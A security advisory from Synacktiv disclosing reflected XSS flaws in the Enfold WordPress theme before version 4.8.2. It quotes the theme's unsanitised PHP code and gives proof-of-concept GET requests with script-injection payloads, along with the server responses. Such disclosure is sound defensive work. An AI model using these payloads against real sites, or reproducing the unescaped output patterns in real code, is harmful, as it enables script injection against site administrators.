SYNACKTIV
DIGITAL SECURITY

Reflected XSS in Enfold < 4.8.2

Security advisory

2021-07-21

Julien Legras
Guillaume André

Vulnerability description

Presentation of Enfold

From the Enfold website (https://kriesi.at/themes/enfold/), Enfold is:

“A super flexible Theme with a modern backend that makes it incredible easy to build unique layouts by simply dragging and dropping your content into place.”

The issue

During a security assessment for a customer, Synacktiv discovered that Enfold does not sanitize user input on specific parameters that can be used to execute *JavaScript* in the context of the administration interface. Indeed, the inputs affected by these XSS are located in the administrator panel.

Affected versions

Versions 4.6.2 and 4.7.3 are known to be vulnerable but all versions < 4.8.2 are supposed to be vulnerable. As Enfold is not a free theme, the complete list of affected versions cannot be provided by Synacktiv.

Timeline

Date	Action
2020-03-16	Synacktiv contacted Enfold theme developers.
2021-04-14	Reply from Enfold developpers.
2021-04-20	Enfold version 4.8.2 released.

Technical description and proof-of-concept

The *GET* parameters *avia_label*, *avia_gallery_mode* and *avia_idbased* are not sanitized and can be used to insert arbitrary HTML code. The code responsible for this vulnerability is located in *framework/php/class-media.php*:

```
public static function add_media_label_header($_default_tabs)
{

    //change the label of the insert button
    if(isset($_GET['avia_label']))
    {
        echo "<input class='avia_insert_button_label' type='hidden'
value='".html_entity_decode($_GET['avia_label'])."' />";
    }

    //activate the gallery mode
    if(isset($_GET['avia_gallery_mode']))
    {
        echo "<input class='avia_gallery_mode_active' type='hidden' value='".
$_GET['avia_gallery_mode']."' />";
        if(isset($_default_tabs['library'])) unset($_default_tabs['library']);
        if(isset($_default_tabs['type_url'])) unset($_default_tabs['type_url']);
    }

    //remove the default insert method and replace it with the better image id based method
    if(isset($_GET['avia_idbased']))
    {
        echo "<input class='avia_idbased' type='hidden' value='".
$_GET['avia_idbased']."' />";
    }

    return $_default_tabs;
}
```

The vulnerability can only be triggered from the administration panel because the parameters must be supplied to the page *wp-admin/wp-admin.php*. To access this page, one requires administration privileges. Thus, only *WordPress* administrators are affected by this vulnerability.

The vulnerability can be triggered by issuing the following request:

```
GET /wp-admin/admin.php?page=avia&avia_gallery_mode=test%27%3E%3Cscript%3Ealert(1)%3C/
script%3E HTTP/1.1
[...]
```

The server responds with the injected code:

```
HTTP/1.1 200
[...]

<input class="avia_gallery_mode_active" type="hidden" value="test">
<script>alert(1)</script>
[...]
```

Another vulnerability of the same type was found in *config-layerslider/LayerSlider/views/slider_list.php*. The *GET* parameter *order* is not sanitized and can be used to insert arbitrary HTML code. Once again, only *WordPress* administrators are affected by this vulnerability.

```
if(!empty($_GET['order'])) {
    $userFilters = true;
    $urlParamOrder = $_GET['order'];
    $filters['orderby'] = htmlentities($_GET['order']);
    if($_GET['order'] === 'name') {
        $filters['order'] = 'ASC';
    }
}
[...]
        <div class="ls-pagination bottom">
            <div class="tablenav-pages">
                <span class="displaying-num"><?php echo sprintf(_n('%d slider', '%d
sliders', $maxItem, 'LayerSlider'), $maxItem) ?></span>
                <span class="pagination-links">
                    <a class="button first-page<?php echo ($curPage <= 1) ? ' disabled' :
''; ?>" title="<?php _e('Go to the first page', 'LayerSlider') ?>" href="admin.php?
page=layerslider&amp;filter=<?php echo $urlParamFilter ?>&amp;term=<?php echo $urlParamTerm
?>&amp;order=<?php echo $urlParamOrder ?>">«</a>
                    <a class="button prev-page <?php echo ($curPage <= 1) ? ' disabled' :
''; ?>" title="<?php _e('Go to the previous page', 'LayerSlider') ?>" href="admin.php?
page=layerslider&amp;paged=<?php echo ($curPage-1) ?>&amp;filter=<?php echo $urlParamFilter
?>&amp;term=<?php echo $urlParamTerm ?>&amp;order=<?php echo $urlParamOrder ?>">‹</a>
```

The vulnerability can be triggered by issuing the following request:

```
GET /wp-admin/admin.php?page=layerslider&filter=published&order=name%22%3E%3Cscript%3Ealert
%281%29%3C%2Fscript%3E&term HTTP/1.1
[...]
```

The server responds with the injected code:

```
HTTP/1.1 200
[...]

<a class="button first-page disabled" title="Go to the first page" href="admin.php?
page=layerslider&amp;filter=published&amp;term=&amp;order=name”><script>alert(1)</
script>"&gt;«</a>
<a class="button prev-page  disabled" title="Go to the previous page" href="admin.php?
page=layerslider&amp;paged=0&amp;filter=published&amp;term=&amp;order=name”><script>alert(1
)</script>"&gt;‹</a>
[...]
```